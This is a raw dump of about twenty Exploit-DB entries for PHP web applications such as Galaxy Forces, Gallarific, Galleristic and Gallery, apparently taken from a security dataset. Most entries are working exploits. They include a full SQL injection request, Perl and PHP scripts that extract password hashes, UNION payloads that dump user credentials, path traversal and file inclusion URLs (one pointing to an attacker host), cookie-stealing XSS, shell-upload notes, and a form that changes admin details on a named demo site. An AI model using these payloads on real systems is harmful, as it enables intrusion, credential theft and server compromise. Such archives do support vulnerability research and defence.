deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45864
Description: Galaxy Forces MMORPG 0.5.8 - 'type' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-15
Author: Ihsan Sencan

Exploit:
# Exploit Title: Galaxy Forces MMORPG 0.5.8 - 'type' SQL Injection
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://galaxy.alyx.pl/
# Software Link: https://excellmedia.dl.sourceforge.net/project/galaxyforces/galaxy/0.5.8/galaxy-0.5.8.7z
# Version: 0.5.8
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# Users.. 
# http://localhost/[PATH]/ads.php
# 
# action=add&title=[Do not leave empty..]&type=[SQL]&time=[Do not leave empty..]&message=[Do not leave empty..]
# 
POST /PATH/ads.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: RID=d3fada0e6d425fdf; login=efe; salt=b5c59c9626445d[PII_REDACTED]94f60c858642d268; agree=true
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 368
action=add&title=[Efe]&type=%27%7c%7c(SeleCT%20'%45%66%65'%20FroM%20duAL%20WheRE%20110%3d110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*)%2cConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT%28%31%31%32%3d%31%31%32%2c%31%29%29%29%2cFLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))%7c%7c%27&time=[Efe]&message=[Efe]
HTTP/1.1 302 Found
Date: Wed, 14 Nov 2018 15:12:30 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: RID=44ff5c8a0c395f9b; expires=Wed, 14-Nov-2018 16:12:30 GMT; Max-Age=3600
Set-Cookie: login=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Set-Cookie: salt=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Content-Length: 0
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
#Etc..
Exploit-DB #37635
Description: GalaxyScripts Mini File Host and DaddyScripts Daddy's File Host - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-08-10
Author: L0n3ly-H34rT

Exploit:
source: https://www.securityfocus.com/bid/54992/info

GalaxyScripts Mini File Host and DaddyScripts Daddy's File Host are prone to a local file-include vulnerability because they fail to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. 

For GalaxyScripts Mini File Host:

http://www.example.com/MFH/download.php?file=../../../../../../../../../../windows/win.ini%00.jpg

For DaddyScripts Daddy's File Host:

http://www.example.com/dfh/download.php?file=../../../../../../../../../../windows/win.ini%00.jpg
Exploit-DB #14826
Description: GaleriaSHQIP 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-08-28
Author: Valentin

Exploit:
# Exploit Title: GaleriaSHQIP SQL Injection Vulnerability
# Date: 28.08.2010
# Author: Valentin
# Category: webapps/0day
# Version: v1.0 full

[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = GaleriaSHQIP SQL Injection Vulnerability
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = GaleriaSHQIP
Vendor = galeriashqip.com
Vendor Website = http://www.galeriashqip.com/
Affected Version(s) = 1.0 full, the lite version may also contain SQLi vulnerabilities

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> SQL Injection
index.php?album_id=[SQL Injection]


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 28.08.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz = cr4wl3r, JosS, packetstormsecurity.org, exploit-db.com


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #26468
Description: Galerie 2.4 - 'showgallery.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-03
Author: abducter_minds@yahoo.com

Exploit:
source: https://www.securityfocus.com/bid/15313/info

Galerie is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

#!/bin/env perl
#------------------------------------------------------------#
#-      Warning :- (ABDUCTER) Behind U BY (ABDUCTER_MINDS@S4A.CC) OR (ABDUCTER_MINDS@YAHOO.COM)
#-      [!]     ==|| Gallery_v2.4 SQL Injection ||==
#-              Gr33tz :-
#-                      N0N0 (MY LOVE)
#-                      WWW.S4A.CC
#-                      Devil-00
#-                      FOR ALL ARABIAN COUNTRIES
#------------------------------------------------------------#
use LWP::Simple;

print "\n\n==========================================\n";
print "\n= Exploit for Gallery_v2.4                    ";
print "\n=   BY    |(ABDUCTER_MINDS[at]YAHOO.COM)|     ";
print "\n=             FOR ALL ARAB WWW.S4A.CC         ";
print "\n============================================\n\n";

if(!$ARGV[0] or !$ARGV[1]) {
  print "\n==|| Warning ABDUCTER Behind U ||==";
  print "\nUsage:\nperl $0 [host+script]\n\nExample:\nperl $0 http://tonioc.free.fr/gallery/ 1\n";
  exit(0);
}
$url = "/showGallery.php?galid=-1%20UNION%20SELECT%20id,null,null,passw,null,nick,null,null,null,null,nick,null%20FROM%20users%20WHERE%20id=$ARGV[1]/*";
$page = get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page =~ m/<SPAN class="strong"><b>(.*?)<\/b>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);
Exploit-DB #33661
Description: Galerie Dezign-Box - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2010-02-22
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/38347/info

Galerie Dezign-Box is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input. These issues include a cross-site scripting vulnerability and multiple file-upload vulnerabilities.

Attackers may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

An attacker can exploit the file-upload issues to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

http://www.example.com/nom.php?id=tufgxab0x2r4xybg527w&nom=<img+src=http://server/dt.gif+onload=alert[PII_REDACTED]60)>
Exploit-DB #11523
Description: Galerie Dezign-Box France - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-02-22
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Galerie Dezign-Box 짤 France Multi Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)                                                                             
| # Web Site : www.iq-ty.com                                                                                                                            
| # Dork     : Script cr챕챕 par Funewik - Dezign-Box 짤 France                                         
| # Tested on: windows SP2 Fran챌ais V.(Pnx2 2.0) + Lunix Fran챌ais v.(9.4 Ubuntu)       
| # Bug      : Multi                                                                     
======================      Exploit By indoushka       =================================
# Exploit  : 
 
 1- XSS
 
 http://server/galerie/nom.php?id=tufgxab0x2r4xybg527w&nom=<img+src=http://server/dt.gif+onload=alert[PII_REDACTED]60)>

 2- Upload Shell
 
 http://server/galerie/membre/register.php (you Can Upload your Evil)
 
 http://server/galerie/membre/membres.php  (you Can Upload your Evil)
 
 http://server/galerie/membre/uploads/     (2 find what you upload)
 
================================   Dz-Ghost Team   ========================================
Greetz : 횙챠횕챠 횊찼횣횊횉횙 + 횣챠채 횉찼횊횗횕 + 횚찼횤챈찾 횉찼횣챠횕 K10 + K@MEL + 횣챠채 찾찼챠찼횋 + 횎횤채챠횦
-------------------------------------------------------------------------------------------
Exploit-DB #18875
Description: Galette - 'picture.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-05-13
Author: sbz

Exploit:
source: https://www.securityfocus.com/bid/53463/info

Galette is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. 

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

Versions prior to Galette 0.7.x are vulnerable.

Attackers can use a browser to exploit this issue. 

The following example URIs are available. 

http://server/picture.php?id_adh=0+and+1=0+union+select+@@version,null 

http://server/picture.php?id_adh=0+and+1=0+union+select+group_concat(table_name,char(10)),null+from+information_schema.tables
Exploit-DB #16206
Description: Galilery 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-02-22
Author: lemlajt

Exploit:
$ cat 15_lfi_galilery.1.0.txt
# exploit title: local file include in Galilery 1.0
# date: 18.o2.2o11
# author: lemlajt
# software : Galilery
# version: 1.0
# tested on: linux
# cve :
# http://ftp.heanet.ie/disk1/sourceforge/g/project/ga/galilery/Galilery/


PoC :

http://localhost/www/cmsadmins/Galilery-1.0/index.php?pg=1&d=../../../../../../../../../../../../etc/

cuz:
index.php: $d=$_GET['d'];

# *
Exploit-DB #30065
Description: GaliX 2.0 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-05-21
Author: John Martinelli

Exploit:
source: https://www.securityfocus.com/bid/24066/info

GaliX is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

GaliX 2.0 is vulnerable to these issues; other versions may also be affected. 

<!--

GaliX� v2.0 - Cross-Site Scripting Exploit

Multiple Vulnerable Variables: galix_cat_detail_sort, galix_cat_detail, galix_gal_detail, galix_cat_detail
Vulnerable: Galix v2.0 (other versions should also be vulnerable)
Google d0rk: "GaliX� v2.0"

John Martinelli
john@martinelli.com

RedLevel Security
RedLevel.org

April 18th, 2007

!-->

<html>
<head><title>GaliX� v2.0 - Cross-Site Scripting Exploit</title><body>

<center><br><br><font size=4>GaliX� v2.0 - Cross-Site Scripting Exploit</font><br><font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a> of <a href="http://redlevel.org">RedLevel Security</a><br><br>Google d0rk: <a href="http://www.google.com/search?hl=en&q=GaliX%C2%B2+v2.0">"GaliX� v2.0"</a></font><br>

<br><br>
<form action="http://www.example.com/path/index.php" method="post">
<input name="galix_action" type="hidden" value="galery">
<input name="galix_cat_detail" size=75 value="<"<<script>alert(1);</script>">
<input name="galix_cat_detail_sort" type="hidden" value="1">
<input name="galix_language_change" type="hidden" value="1">
<input type=submit value="Execute XSS Attack" class="button">
</form>

</body></html>
Exploit-DB #31369
Description: Gallarific - 'search.php?query' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-03-10
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28163/info

Gallarific is prone to a cross-site scripting vulnerability and multiple authentication-bypass vulnerabilities.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, add new categories, add new users, and modify existing users. Other attacks are also possible.

These issues affect both the commercial and the free versions of Gallarific.

http://www.example.com/gallery/search.php?dosearch=true&query="><script>alert(document.cookie)</script>
Exploit-DB #8796
Description: Gallarific - 'user.php' Arbirary Change Admin Information
Type: webapps
Platform: php
Date: 2009-05-26
Author: TiGeR-Dz

Exploit:
 <titre> gallarific exploit </titre>
 <body bgcolor="#000000">

 <div id="content">
  <h2><font color="#FFFFFF">change password </font></h2>
  <form enctype="multipart/form-data" action="http://www.gallarific.com/demo/gadmin/users.php?task=edit&id=13" method="post" onsubmit="return userFormCheck()">
  <input type="hidden" name="id" value="13">
  <div id="error" class="er" style="display:none"></div>
  <table class="fm" width="408">
  <tr>
  <td class="fd" valign="top"><font color="#FFFFFF" size="5">
  Founder :</font></td>
  <td class="fc"><input type="text" name="username" id="username" class="if" value="TiGeR-Dz"></td>
  </tr>
  <tr>
  <td class="fd" valign="top"><font color="#FFFFFF" size="5">&nbsp;Email:</font></td>
  <td class="fc"><input type="text" name="email" id="email" class="if" value="tiger.dz@live.com.com"></td>
  </tr>
  <tr>
  <td class="fd" valign="top"><font size="5" color="#FFFFFF">Script:</font></td>
  <td class="fc">
  <input type="text" name="password" id="password" class="if" value="gallarific php image gallery software" size="31"></td>
  </tr>
  <tr>
  <td class="fd" valign="top"><font color="#FFFFFF" size="5">
  HOME</font></td>
  <td class="fc">h<font size="4" color="#FFFFFF">http://www.gallarific.com/</font></td>
  </tr>
  </table>
  <p align="center"><input class="su" type="submit" value="Go to change password &raquo;"></p>
  <p><font color="#FFFFFF" size="4">Note:after change password go to 
  login in control admin panel :</font></p>
  <p><font size="4" color="#FFFFFF">http://www.gallarific.com/demo/gadmin/index.php</font></p>
  <p align="center">&nbsp;</p>
  <p align="center">&nbsp;</p>
  </form>
  </div>
 <div id="help">
  &nbsp;</div>
 <br>
</body>
</html>

# milw0rm.com [2009-05-26]
Exploit-DB #31370
Description: Gallarific - Multiple Script Direct Request Authentication Bypass
Type: webapps
Platform: php
Date: 2008-03-10
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28163/info
 
Gallarific is prone to a cross-site scripting vulnerability and multiple authentication-bypass vulnerabilities.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, add new categories, add new users, and modify existing users. Other attacks are also possible.
 
These issues affect both the commercial and the free versions of Gallarific.

http://www.example.com/gallery/gadmin/index.php?task=add  (categori add)
http://www.example.com/gallery/gadmin/users.php?task=edit&id=2 (user edit)
http://www.example.com/gallery/gadmin/users.php?task=add (user add)
Exploit-DB #9421
Description: Gallarific 1.1 - '/gallery.php' Arbitrary Delete/Edit Category
Type: webapps
Platform: php
Date: 2009-08-12
Author: ilker Kandemir

Exploit:
# Gallarific Photo Gallery &lt;= 1.0 Arbitrary Delete-Edit Category Vulnerability

//Author: iLker Kandemir -- MEFISTO

//Price : 47 $

//script demo : http://www.gallarific.com/demo/index.php

//[imhatimi.org]

----------------------------------------------------------------
//exploit :

1) http://[site]/gadmin/gallery.php?task=delete&amp;id=1

2) http://[site]/gadmin/gallery.php?task=edit&amp;id=1

----------------------------------------------------------------
//Note:

/* You don't need access to admin-panel ;) */

side note:
Original Advisory without poC : http://secunia.com/advisories/29399

# milw0rm.com [2009-08-12]
Exploit-DB #15891
Description: GALLARIFIC PHP Photo Gallery Script - 'gallery.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-01-02
Author: AtT4CKxT3rR0r1ST

Exploit:
GALLARIFIC PHP Photo Gallery Script (gallery.php) Sql Injection Vulnerability 
=================================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://www.gallarific.com/download.php
.:. Dork           : inurl:"/gadmin/index.php"

####################################################################

===[ Exploit ]===

www.site.com/gallery.php?id=null[Sql Injection]

www.site.com/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6,7,8+from+gallarific_users--

===[ Admin Panel ]===

www.site.com/gadmin/index.php

####################################################################
Exploit-DB #5554
Description: Galleristic 1.0 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-07
Author: cOndemned

Exploit:
<?php

#
#   Name : Galleristic v1.0 (index.php cat) Remote SQL Injection Exploit
#   Author : cOndemned
#   Note : works only when magic_quotes_gpc = off
#   Greetz : irk4z, GregStar, ZaBeaTy, Iwan, ElusiveN, doctor, Avantura ;*
#

function exploit($target, $v) {

    $injection = "/index.php?cat='-1+union+select+value+from+gallery_settings+where+id=" . $v . "/*";
    $request = file($target . $injection);
        
    for($i = 0; $i < count($request); $i++) {
        
        preg_match('/\'(.*)\'<\/h2>/', $request[$i], $response);
           
        if(!empty($response[1])) {
            return $response[1] . '<br />';
        }
    }
}

#   Usage : Run in a browser as : http://[yourbox]/exploit.php?target=http://[targetbox]/[path]/
if(empty($_GET['target'])) {
    die('No target site specified!');
}
else {
    for($c = 1; $c < 3; $c++) {
        echo exploit($_GET['target'], $c);
    }   
}

?>

# milw0rm.com [2008-05-07]
Exploit-DB #3743
Description: Gallery 1.2.5 - 'GALLERY_BASEDIR' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-04-15
Author: GoLd_M

Exploit:
# Gallery 1.2.5 <= Remote File Include Vulnerablites
# D.Script: http://www.gnu-darwin.org/packages/x86/www/gallery-1.2.5.tgz
# Exploit:[Path]/errors/needinit.php?GALLERY_BASEDIR=Shell
# Exploit:[Path]/errors/reconfigure.php?GALLERY_BASEDIR=Shell
# Exploit:[Path]/errors/unconfigured.php?GALLERY_BASEDIR=Shell
# Exploit:[Path]/errors/configmode.php?GALLERY_BASEDIR=Shell

# milw0rm.com [2007-04-15]
Exploit-DB #22961
Description: Gallery 1.2/1.3.x - Search Engine Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-07-27
Author: Larry Nguyen

Exploit:
source: https://www.securityfocus.com/bid/8288/info

Gallery is prone to a cross-site scripting vulnerability. This issue is present in the search engine facility provided by the software. An attacker could exploit this issue by constructing a malicious link to the search engine that contains hostile HTML and script code. Attacker-supplied code could be rendered in the browser of a user who follows such a link.

http://www.example.com/<galleryfolder>/search.php?searchstring=<script>alert('XSS')</script>
Exploit-DB #23599
Description: Gallery 1.3.x/1.4 - Remote Global Variable Injection
Type: webapps
Platform: php
Date: 2004-01-26
Author: Bharat Mediratta

Exploit:
source: https://www.securityfocus.com/bid/9490/info

It has been reported that Gallery is prone to a vulnerability that may allow a remote attacker to gain unauthorized access by overwriting various values for global variables. The issue occurs due to improper simulation of the behaviour of register_globals when the register_globals settings is disabled. It has been reported that register_globals functionality is simulated by extracting the values of the various $HTTP_ global variables into the global namespace. Due to improper sanitization of user-supplied data, an attacker may be able to overwrite the value of 'HTTP_POST_VARS' via the register_global simulation. Arbitrary PHP files may be included via the 'GALLERY_BASEDIR' parameter.

The vendor has reported that this issue exists in Gallery versions 1.3.1, 1.3.2, 1.3.3, 1.4 and 1.4.1. 

http://www.example.com/gallery/init.php?HTTP_POST_VARS=xxx
Exploit-DB #23238
Description: Gallery 1.4 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-10-11
Author: peter

Exploit:
source: https://www.securityfocus.com/bid/8814/info

It has been reported that Gallery is prone to a remote file include vulnerability in the index.php script file. The problem occurs due to the program failing to verify the location in which it includes the util.php script, when handling specific requests to index.php. As a result, an attacker may be capable of having arbitrary PHP script code being executed on the remote host with the privileges of the web server. 

http://www.example.org/path_to_gallery/setup/index.php?GALLERY_BASEDIR=http://www.attacker.com/
Exploit-DB #26347
Description: Gallery 2.0 - 'main.php' Directory Traversal
Type: webapps
Platform: php
Date: 2005-10-14
Author: Michael Dipper

Exploit:
source: https://www.securityfocus.com/bid/15108/info

Gallery is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

Exploitation of this vulnerability could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible. 

http://example.com/gallery2/main.php?g2_itemId=/../../../../../../../etc/aliases%00
Exploit-DB #32340
Description: Gallery 2.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-09-08
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/31060/info

Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Gallery 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/path/search.php?title=[XSS]
http://www.example.com/path/search.php?description=[XSS]
http://www.example.com/path/search.php?author=[XSS]
http://www.example.com/path/login.php?return=[XSS]